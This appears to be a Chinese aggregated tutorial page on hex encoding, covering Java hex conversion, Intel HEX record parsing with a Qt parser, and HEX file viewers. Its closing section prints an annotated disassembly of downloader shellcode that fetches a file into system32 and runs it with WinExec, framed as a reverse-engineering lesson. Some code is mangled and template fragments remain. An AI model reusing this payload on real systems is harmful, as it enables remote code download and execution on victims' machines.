hex编码转换(华大mcu读取hex)

本文目录
- 华大mcu读取hex
- Hex 编码
- java中 hex 转换成字符串 怎么转
- 请教如何将普通字符串转成HEX编码的字符串
- 如何解析HEX
- java hex 字符串怎么转换
- hex文件怎么打开
- hex文件转换成C语言
华大mcu读取hex
1、首先双击ConfigTool.exe打开软件,设置华大mcu芯片名称,点击带频版,点击确定。
2、其次运行完 ConfigTool.exe 后,文件夹 User Data 中可能生成文件。
3、最后生成文件后,把HEX文件转换为烧录器可识别的编码文件,即可读取hex
Hex 编码
Hex编码就是把一个8位的字节数据用两个十六进制数展示出来,编码时,将8位二进制码重新分组成两个4位的字节,其中一个字节的低4位是原字节的高四位,另一个字节的低4位是原数据的低4位,高4位都补0,然后输出这两个字节对应十六进制数字作为编码。Hex编码后的长度是源数据的2倍
Golang 标准库的使用
编码的实现很简单,高位用右移操作,低位用或操作,高位在前,低位在后
解码的实现使用了一点小技巧,hextable记录了16进制的,fromHexChar计算高位和低位的ASCII值,再拼接起来。
Hex编码
java中 hex 转换成字符串 怎么转
java中 hex 转换成字符串方法:
public class Test {
private static String hexString = "0123456789ABCDEFabcdef";
public static void main(String args) {
String msg= "亲,你好";
System.out.println(encode(msg));
System.out.println(decode(encode(msg)));
}
public static String encode(String str) {
byte bytes = str.getBytes();
StringBuilder sb = new StringBuilder(bytes.length * 2);
//转换hex编码
for (byte b : bytes) {
sb.append(Integer.toHexString(b + 0x800).substring(1));
}
str = sb.toString();
return str;
}
//把hex编码转换为string
public static String decode(String bytes) {
bytes = bytes.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(bytes.length() / 2);
// 将每2位16进制整数组装成一个字节
for (int i = 0; i 《 bytes.length(); i += 2)
baos.write((hexString.indexOf(bytes.charAt(i)) 《《 4 | hexString.indexOf(bytes.charAt(i + 1))));
return new String(baos.toByteArray());
}
}
请教如何将普通字符串转成HEX编码的字符串
/**
* 将普通字符串转换成Hex编码字符串
*
* @param dataCoding 编码格式,15表示GBK编码,8表示UnicodeBigUnmarked编码,0表示ISO8859-1编码
* @param realStr 普通字符串
* @return Hex编码字符串
* @throws UnsupportedEncodingException
*/
public static String encodeHexStr(int dataCoding, String realStr) {
String hexStr = null;
if (realStr != null) {
try {
if (dataCoding == 15) {
hexStr = new String(Hex.encodeHex(realStr.getBytes("GBK")));
} else if ((dataCoding & 0x0C) == 0x08) {
hexStr = new String(Hex.encodeHex(realStr.getBytes("UnicodeBigUnmarked")));
} else {
hexStr = new String(Hex.encodeHex(realStr.getBytes("ISO8859-1")));
}
} catch (UnsupportedEncodingException e) {
System.out.println(e.toString());
}
}
return hexStr;
}
/**
* 将Hex编码字符串转换成普通字符串
*
* @param dataCoding 反编码格式,15表示GBK编码,8表示UnicodeBigUnmarked编码,0表示ISO8859-1编码
* @param hexStr Hex编码字符串
* @return 普通字符串
*/
public static String decodeHexStr(int dataCoding, String hexStr) {
String realStr = null;
try {
if (hexStr != null) {
if (dataCoding == 15) {
realStr = new String(Hex.decodeHex(hexStr.toCharArray()), "GBK");
} else if ((dataCoding & 0x0C) == 0x08) {
realStr = new String(Hex.decodeHex(hexStr.toCharArray()), "UnicodeBigUnmarked");
} else {
realStr = new String(Hex.decodeHex(hexStr.toCharArray()), "ISO8859-1");
}
}
} catch (Exception e) {
System.out.println(e.toString());
}
return realStr;
}
}
如何解析HEX
hex文件是用ASCII来表示二进制的数值,十六进制数组成的指令或者数据,每一行就是一个hex记录。由于单片机执行的只能是二进制指令和数据,而hex文件是十六进制数,所以烧录器的工作必然有一个进制转换机制。
hex文件的内容都是有规律的编码,我们可以对它进行解析,以第一行 :020000040800F2 为例:
1) 每一行都以 :(0x3A)开头
2) 第1个字节0x02 ,表示数据区的字节个数
3) 第2、3字节0x00, 0x00 ,表示偏移地址或无用填0
4) 第4个字节0x04, 表示本行记录的数据类型
‘00’ Data Record :用来记录数据, HEX文件的大部分记录都是数据记录
‘01’ End of File Record :用来标识文件结束,放在文件的最后,标识HEX文件的结尾
‘02’ Extended Segment Address Record :用来标识扩展段地址的记录
‘03’ Start Segment Address Record :段地址 STM32不用
‘04’ Extended Linear Address Record :用来标识扩展线性地址
‘05’ Start Linear Address Record :程序启动运行的地址
5) 第5、6个字节0x08, 0x00即是数据
6) 第7个字节0xF2是校验字节,校验和的算法为:计算从0x3A 以后(不包括0x3A)的所有各字节的和模256的余。即各字节二进制算术和,不计超过256的溢出值,然后用0x100减去这个算数累加和,得出得值就是此行得校验和。
7) 每条数据最后还有《0x0d》 (回车键)、 《0x0a》(换行键)
《0x3a》 《0x0d》《0x0a》
注意:由于每行标识数据地址的只有2Byte,所以最大只能到64K,为了可以保存高地址的数据,就有了Extended Linear Address Record。如果这行的数据类型是0x04,那么,这行的数据就是随后数据的基地址。例如:
第一行,是Extended Linear Address Record,里面的数据,也就是基地址是0x0004,
第二行是Data Record,里面的地址值是0x0000。那么数据18F09FE518F09FE518F09FE518F09FE5要写入FLASH中的地址为(0x0004 《《 16) | 0x0000,也就是写入FLASH的0x40000这个地址。
第三行的数据的写入地址为0x40010。当一个HEX文件的数据超过7k的时候,文件中就会出现多个Extended Linear Address Record。
----------------------------------------------------
:020000040008F2
:10000400FF00A0E314209FE5001092E5011092E5A3
:00000001FF
-----------------------------------------------------
对上面的HEX文件进行分析:
第1条记录的长度为02,LOAD
OFFSET为0000,RECTYPE为04,说明该记录为扩展段地址记录。数据为0008,校验和为F2。从这个记录的长度和数据,我们可以计算出一个基地址,这个地址为(0x0008
《《 16)。后面的数据记录都以这个地址为基地址。
第2条记录的长度为10(16),LOAD
OFFSET为0004,RECTYPE为00,说明该记录为数据记录。数据为FF00A0E314209FE5001092E5011092E5,共16个BYTE。这个记录的校验和为A3。此时的基地址为0X80000,加上OFFSET,这个记录里的16BYTE的数据的起始地址就是0x80000
+ 0x0004 = 0x80004.
第3条记录的长度为00,LOAD OFFSET为0000,TYPE = 01,校验和为FF。说明这个是一个END OF FILE RECORD,标识文件的结尾。
在上面这个例子里,实际的数据只有16个BYTE:FF00A0E314209FE5001092E5011092E5,其起始地址为0x0004.
计算从(0x3a)以后的所有各字节的和模256的余。
即各字节二进制算术和,不计超过256的溢出值,然后用0x100减去这个算数累加和,得出的值就是此行校验码。举一个简单的例子,
如第一行020000040800F2
0x02+0x00+0x00+0x00+0x04+0x08+0x00 = 0x0E
0x100 – 0x0E = 0xF2
for (i = 0; i 《 pHexFileFormat-》DataSize; i++)
{
tempCheckSum += pHexFileFormat-》bData;
}
tempCheckSum = 0x100 - tempCheckSum;
if (tempCheckSum != pHexFileFormat-》CheckSum)
{
//Error
}
#ifndef CHEX_H
#define CHEX_H
#include 《QFile》
const quint8 MIN_HEX_LINE_COUNT_LENGHT = 12;
typedef enum __tagHexErrorCode
{
HEX_NO_ERROR = 0,
HEX_FORMAT_ERROR,
HEX_VERIFY_ERROR,
HEX_LENGHT_ERROR,
HEX_USERPAPR_EEROR,
}EHexErrorCode;
typedef enum __tagHexType
{
RECORD_DATA = 0,
RECORD_END_OF_FILE,
RECORD_EXTENDED_SEGMENT_ADDRESS,
RECORD_START_SEGMENT_ADDRESS,
RECORD_EXTENDED_LINEAR_ADDRESS,
RECORD_START_LINEAR_ADDRESS,
RECORD_HEX_MAX,
}emHexType;
typedef struct __tagHexLineData
{
emHexType type;
quint8 count;
quint32 address;
quint8 data;
quint8 checksum;
quint8 datalen;
}stHexLineData;
class CHex
{
public:
CHex();
EHexErrorCode getHexLineData(QByteArray bydata,stHexLineData *p);
private:
char ConvertHexChar(char ch);
};
#endif // CHEX_H
#include "chex.h"
const QString HexTypeTable =
{
"00","01","02","03","04","05",
};
CHex::CHex()
{
}
char CHex::ConvertHexChar(char ch)
{
if((ch 》= ’0’) && (ch 《= ’9’))
return (ch-0x30);
else if((ch 》= ’A’) && (ch 《= ’F’))
return ((ch-’A’)+10);
else if((ch 》= ’a’) && (ch 《= ’f’))
return ((ch-’a’)+10);
else return (-1);
}
EHexErrorCode CHex::getHexLineData(QByteArray bydata,stHexLineData *p)
{
quint8 i = 0;
quint8 cs_temp = 0;
QString str(bydata);
char *pcdata = bydata.data();
quint32 linelen = str.size();
if((linelen 《 MIN_HEX_LINE_COUNT_LENGHT)) {return HEX_LENGHT_ERROR;}
if(*pcdata != 0x3A) {return HEX_FORMAT_ERROR;}//必须以":"号开始
//获取Type
QString stype = str.mid(7,2);
for(i = 0; i 《 RECORD_HEX_MAX; i++)
{
if(stype == HexTypeTable)
{
p-》type = (emHexType)i;
break;
}
}
if(i == RECORD_HEX_MAX) {qDebug("HEX_FORMAT_ERROR");return HEX_FORMAT_ERROR;}
cs_temp += (ConvertHexChar(*(pcdata + 7)) 《《 4) | ConvertHexChar(*(pcdata + 8));
//获取count
p-》count = (ConvertHexChar(*(pcdata + 1)) 《《 4) | ConvertHexChar(*(pcdata + 2));
cs_temp += p-》count;
if(p-》count != (((linelen - 2) / 2) - 5)) {qDebug("HEX_FORMAT_ERROR");return HEX_FORMAT_ERROR;}
//获取address
p-》address = (ConvertHexChar(*(pcdata + 3)) 《《 12) | (ConvertHexChar(*(pcdata + 4)) 《《 8) | (ConvertHexChar(*(pcdata + 5)) 《《 4) | ConvertHexChar(*(pcdata + 6));
cs_temp += (p-》address 》》 8) & 0xFF;
cs_temp += p-》address & 0xFF;
//获取data
for(i = 0; i 《 p-》count; i++)
{
p-》data = (ConvertHexChar(*(pcdata + 2*i + 9)) 《《 4) | ConvertHexChar(*(pcdata + 2*i + 10));
cs_temp += p-》data;
}
p-》checksum = (ConvertHexChar(*(pcdata + 2*i + 9)) 《《 4) | ConvertHexChar(*(pcdata + 2*i + 10));
if(p-》checksum != ((0x100 - cs_temp) & 0xFF))
{
qDebug("HEX_VERIFY_ERROR");
return HEX_VERIFY_ERROR;
}
p-》datalen = p-》count;
return HEX_NO_ERROR;
}
java hex 字符串怎么转换
private static String hexString = "0123456789ABCDEF";
public static void main(String args) {
System.out.println(encode("中文"));
System.out.println(decode(encode("中文")));
}
/*
* 将字符串编码成16进制数字,适用于所有字符(包括中文)
*/
public static String encode(String str) {
***隐藏网址***
byte bytes = str.getBytes();
StringBuilder sb = new StringBuilder(bytes.length * 2);
***隐藏网址***
for (int i = 0; i 《 bytes.length; i++) {
sb.append(hexString.charAt((bytes & 0xf0) 》》 4));
sb.append(hexString.charAt((bytes & 0x0f) 》》 0));
}
return sb.toString();
}
/*
* 将16进制数字解码成字符串,适用于所有字符(包括中文)
*/
public static String decode(String bytes) {
ByteArrayOutputStream baos = new ByteArrayOutputStream(bytes.length() / 2);
// 将每2位16进制整数组装成一个字节
for (int i = 0; i 《 bytes.length(); i += 2)
baos.write((hexString.indexOf(bytes.charAt(i)) 《《 4 | hexString
.indexOf(bytes.charAt(i + 1))));
return new String(baos.toByteArray());
}
hex文件怎么打开
hex文件是什么?hex文件格式介绍如下:hex的全称是IntelHEX,此类文件通常用于传输将被存于ROM或者EPROM中的程序和数据。是由一行行符合IntelHEX文件格式的文本所构成的ASCII文本文件。大多数EPROM编程器或模拟器使用IntelHEX文件。HEX文件记录由对应机器语言码和/或常量数据的十六进制编码数字组成。ultraedit可以打开。hex格式图标如下:hex文件是什么以及hex文件怎么打开详情如下:HEX文件摘要根据我们的记录,有二种与HEX文件扩展名相关的文件类型,最常见的被格式化为HexadecimalSourceFile。HeaventoolsFlexHex由HeaventoolsSoftware发布,是最通用的关联应用程序。此外,有二种不同的软件程序可供您用于查看这些文件。这些文件分为DeveloperFiles或EncodedFiles。在大多数情况下,这些文件属于DeveloperFiles。
桌面(和某些移动)设备上已支持文件扩展名为HEX的文件。Windows、Mac和iOS完全或部分支持这些文件。HEX文件的普及性为“低”,这意味着这些文件不是很普及。
有兴趣了解有关HEX文件扩展名的更多信息?我们建议您查看下面的详细文件信息,以了解打开HEX文件的软件以及其他故障排除提示。
HEX文件的类型2种已知文件类型使用此扩展名HexadecimalSourceFileBinHexEncodedFile主导HEX文件类型.HEX文件格式:.hex类型:HexadecimalSourceFile十六进制源文件中包含的设置,配置信息,或保存在一个十六进制格式的其他数据。它可以存储在文本格式也。它是由可编程逻辑器件,诸如在遥控器的微控制器使用。
程序员:IntelCorporation文件类别:开发者文件注册表项:HKEY_CLASSES_ROOT.hex打开HexadecimalSourceFile的软件程序:
HeaventoolsSoftware开发的HeaventoolsFlexHex(软件环境:Windows)BreakPointSoftware开发的HexWorkshopHexEditor(软件环境:Windows)SoftCircuits开发的CygnusHexEditor(软件环境:Windows)HHDSoftware开发的HHDHexEditor(软件环境:Windows)二级HEX关联.HEX文件格式:.hex类型:BinHexEncodedFile文件与BINHEX(二进制到十六进制)编码软件的早期版本编码。它是用于文件转换为文本格式。
程序员:OpenSource文件类别:编码文件打开BinHexEncodedFile文件的软件程序:
SmithMicroSoftware开发的SmithMicroStuffItDeluxe
兼容:(软件环境:Windows)MaciOSAndroidOpenSource开发的UUDeview
兼容:
Linux了解HEX问题打开HEX文件过程中所遇到的常见问题HeaventoolsFlexHex不在如果您尝试加载HEX文件,则会收到“无法打开HEX文件”等消息。如果是这种情况,通常是因为你的计算机上没有安装HeaventoolsFlexHexfor%%os%%。通过双击打开HEX的典型路径将不起作用,因为%%os%%无法建立程序连接。
提示:单击“显示应用程序”并找到应用程序,可以选择另一个HEX相关的程序来打开文件。
不正确的HeaventoolsFlexHex版本您的HexadecimalSourceFile文件与HeaventoolsFlexHex不兼容,因为您可能安装了错误的版本。如果您没有正确的HeaventoolsFlexHex版本(或上面列出的任何其他程序),则可能需要试看下载其另一个版本或上面列出的其他软件应用程序中的一个。您的SadSheet文件可能是由比当前安装的计算机更新的HeaventoolsFlexHex创建的。
提示:通过右键单击并选择“属性”来调查HEX文件,以查找有关所需版本的线索。
主要是,打开HEX文件时遇到的问题是由于计算机上安装了不正确的HeaventoolsFlexHex版本。
其他HEX文件问题假设你安装了正确的HeaventoolsFlexHex版本,其他问题可能会阻止你打开HEX文件。其他HEX打开错误可能是由%%os%%中的其他系统问题造成的。与软件无关的问题:
Windows注册表HEX文件路径不正确错误地删除Windows注册表HEX说明与HEX相关的程序安装无效(例如HeaventoolsFlexHex)某些东西导致了你的HEX文件损坏过去或现在的病毒感染影响了你的HEX与您的HEX文件关联的硬件的设备驱动程序已损坏或已过期系统资源不足以成功打开HexadecimalSourceFile文件hex文件是什么以及hex文件怎么打开扩展阅读.HEX文件扩展名文件类型十六进制源文件开发者N/A常用度中度使用格式文件后缀.hex文件分类编码文件HEX是什么文件?HEX文件以十六进制格式保存的文件,可以被单片机识别和执行。通常先把已经编程好的C程序或者汇编程序通过不同的编译器编译成HEX文件,再烧录到单片机中,由单片机执行代码。HEX文件可以以二进制格式或文本格式存储。
HEX文件扩展信息二进制格式HEX文件需要专门的十六进制器才能打开和查看文件的内容,而文本格式的HEX文件可以使用各种文本器打开和。
HEX文件的文本行包含六个字段:起始码,数据长度,起始地址,数据类型,数据和校验。下面是一段HEX文件代码:
:020000040800F2??:1000000048B6002085010008B1450008252B0108ED???:10001000B9450008C1450008C945000800000000B6??:10002000000000000000000000000000D1450008B2??:10003000D945000800000000E1450008E945000836??:100040009F0100089F0100089F010008ED3800088B??:100050009F0100089F0100089F0100087D5C0008C7??:100060009F0100089F0100089F0100089F010008F0??HEX文件怎么打开?如果你电脑上打不开HEX文件,原因可能有很多,而最常见最主要的原因就是你的电脑没有安装可以打开HEX文件的软件;Windows系统会弹出提示框:“若要打开此文件,Windows需要知道哪个程序打开它”,最简单直接的解决办法就是下载并安装合适的软件来打开HEX文件。
可以打开HEX文件的软件程序
hex文件转换成C语言
文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。
1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。
在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。
2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。
拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。
将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:
4AD75021 5A pop edx ; 函数返回的地址保存到edx中
4AD75022 64:A1 30000000 mov eax, dword ptr fs: ; 取peb
4AD75028 8B40 0C mov eax, dword ptr ; peb_link
4AD7502B 8B70 1C mov esi, dword ptr ; 初始化列表到esi
4AD7502E AD lods dword ptr -》eax + 8的位置即kernel32.dll的地址
4AD7502F 8B40 08 mov eax, dword ptr ; eax=kernel32.dll的地址
4AD75032 8BD8 mov ebx, eax ; ebx=kernel32.dll的基址
4AD75034 8B73 3C mov esi, dword ptr ; esi = pe头偏移
4AD75037 8B741E 78 mov esi, dword ptr ; esi为kernel32.dll导出表的偏移
4AD7503B 03F3 add esi, ebx ; esi = kernel32.dll导出表的虚拟地址
4AD7503D 8B7E 20 mov edi, dword ptr ; edi=ent的偏移地址
4AD75040 03FB add edi, ebx ; edi = ent的虚拟地址
4AD75042 8B4E 14 mov ecx, dword ptr ; ecx = kernel32.dll导出地址的个数
4AD75045 33ED xor ebp, ebp ; ebp=0
4AD75047 56 push esi ; 保存导出表虚拟地址
4AD75048 57 push edi ; 保存ent虚拟地址
4AD75049 51 push ecx ; 保存计数
4AD7504A 8B3F mov edi, dword ptr
4AD7504C 03FB add edi, ebx ; 定位ent中的函数名
4AD7504E 8BF2 mov esi, edx ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据
4AD75050 6A 0E push 0E ; 0xe0是GetProcAddress函数的字符个数
4AD75052 59 pop ecx ; 设置循环次数为 0xe
4AD75053 F3:A6 repe cmps byte ptr es: ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress
4AD75055 74 08 je short 4AD7505F ; 如果ENT中的函数名为GetProcAddress跳走
4AD75057 59 pop ecx ; 不相等则将导出地址数出栈
4AD75058 5F pop edi ; ent虚拟地址出栈
4AD75059 83C7 04 add edi, 4 ; edi地址递增4字节 因为ENT的元素大小为4字节
4AD7505C 45 inc ebp ; ebp用于保存ent中定位到GetProcAddress函数时的计数
4AD7505D ^ E2 E9 loopd short 4AD75048 ; 循环查询
4AD7505F 59 pop ecx
4AD75060 5F pop edi
4AD75061 5E pop esi
4AD75062 8BCD mov ecx, ebp ; 计数保存于ecx
4AD75064 8B46 24 mov eax, dword ptr ; esi+0x24 Ordinal序号表偏移地址
4AD75067 03C3 add eax, ebx ; ordinal序号表的虚拟地址
4AD75069 D1E1 shl ecx, 1 ; ecx逻辑增加2倍 因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍
4AD7506B 03C1 add eax, ecx
4AD7506D 33C9 xor ecx, ecx ; ecx=0
4AD7506F 66:8B08 mov cx, word ptr ; 保存取出的ordinal序号
4AD75072 8B46 1C mov eax, dword ptr ; eax 为kenrnel32.dll的EAT的偏移地址
4AD75075 》 03C3 add eax, ebx ; eax = kernel32.dll的eat虚拟地址
4AD75077 C1E1 02 shl ecx, 2 ; 同上,扩大4倍因为eat中元素为DWORD值
4AD7507A 03C1 add eax, ecx
4AD7507C 8B00 mov eax, dword ptr ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA
4AD7507E 03C3 add eax, ebx ; 与基址相加求得GetProcAddress函数的虚拟地址
4AD75080 8BFA mov edi, edx ; GetProcAddress字符到edi
4AD75082 8BF7 mov esi, edi ; esi保存GetProcAddress地址
4AD75084 83C6 0E add esi, 0E ; esi指向GetProcAddress字符串的末地址
4AD75087 8BD0 mov edx, eax ; edx为GetProcAddress的地址
4AD75089 6A 04 push 4
4AD7508B 59 pop ecx ; ecx=4
有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:
4AD7508C E8 50000000 call 4AD750E1 ; 设置IAT 得到4个函数的地址
4AD75091 83C6 0D add esi, 0D ; 从这里开始实现ShellCode的真正功能
4AD75094 52 push edx
4AD75095 56 push esi ; urlmon
4AD75096 FF57 FC call dword ptr ; 调用LoadLibrarA来加载urlmon.dll
4AD75099 5A pop edx ; edx = GetProcAddress的地址
4AD7509A 8BD8 mov ebx, eax
4AD7509C 6A 01 push 1
4AD7509E 59 pop ecx
4AD7509F E8 3D000000 call 4AD750E1 ; 再次设置 IAT 得到URLDownLoadToFileA
4AD750A4 83C6 13 add esi, 13 ; esi指向URLDownLoadToFileA的末地址
4AD750A7 56 push esi
4AD750A8 46 inc esi
4AD750A9 803E 80 cmp byte ptr , 80 ; 判断esi是否为0x80 这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束
4AD750AC ^ 75 FA jnz short 4AD750A8 ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x80
4AD750AE 8036 80 xor byte ptr , 80
4AD750B1 5E pop esi
4AD750B2 83EC 20 sub esp, 20 ; 开辟 32 byte栈空间
4AD750B5 》 8BDC mov ebx, esp ; ebx为栈区的指针
4AD750B7 6A 20 push 20
4AD750B9 53 push ebx
4AD750BA FF57 EC call dword ptr ; 调用GetSystemDirectoryA得到系统目录
4AD750BD C70403 5C612E65 mov dword ptr , 652E615C ; ebx+0x13 系统路径占 0x13个字节
4AD750C4 C74403 04 78650000 mov dword ptr , 6578 ; 拼接下载后的文件路径%systemroot%\system32\a.exe
4AD750CC 33C0 xor eax, eax
4AD750CE 50 push eax
4AD750CF 50 push eax
4AD750D0 53 push ebx
4AD750D1 56 push esi
4AD750D2 50 push eax
4AD750D3 》 FF57 FC call dword ptr ; URLDownLoadToFile下载文件为a.exe
4AD750D6 8BDC mov ebx, esp
4AD750D8 50 push eax
4AD750D9 53 push ebx
4AD750DA FF57 F0 call dword ptr ; WinExec执行代码
4AD750DD 50 push eax
4AD750DE FF57 F4 call dword ptr ; ExitThread退出线程
接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。
使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:
通过这个实例 ,相信应该能理解一个大致的流程啦。

更多文章:
excel+条件格式设置好第一行批量(excel条件格式批量)
2026年8月31日 07:00
国内外贸电商有没有什么好系统可以建站的?做电商软件的企业有哪些
2026年7月3日 07:30
获取request对象(java怎么获取request对象)
2025年5月31日 06:15
工作流技术有哪些(翼发云OA办公系统用的什么技术来实现可视化工作流的)
2025年8月2日 22:15
index第二个参数的含义(如何使用index和match函数:)
2025年12月18日 13:00
alter table rename to是什么命令(如何给列重命名 SQL)
2026年8月28日 21:30
oracle19c32位客户端下载(oracle32位客户端以64位运行怎么解决)
2026年5月16日 14:00
get the actors positioned(高中英语作文:落下的书本 The Left Books)
2026年7月23日 16:15














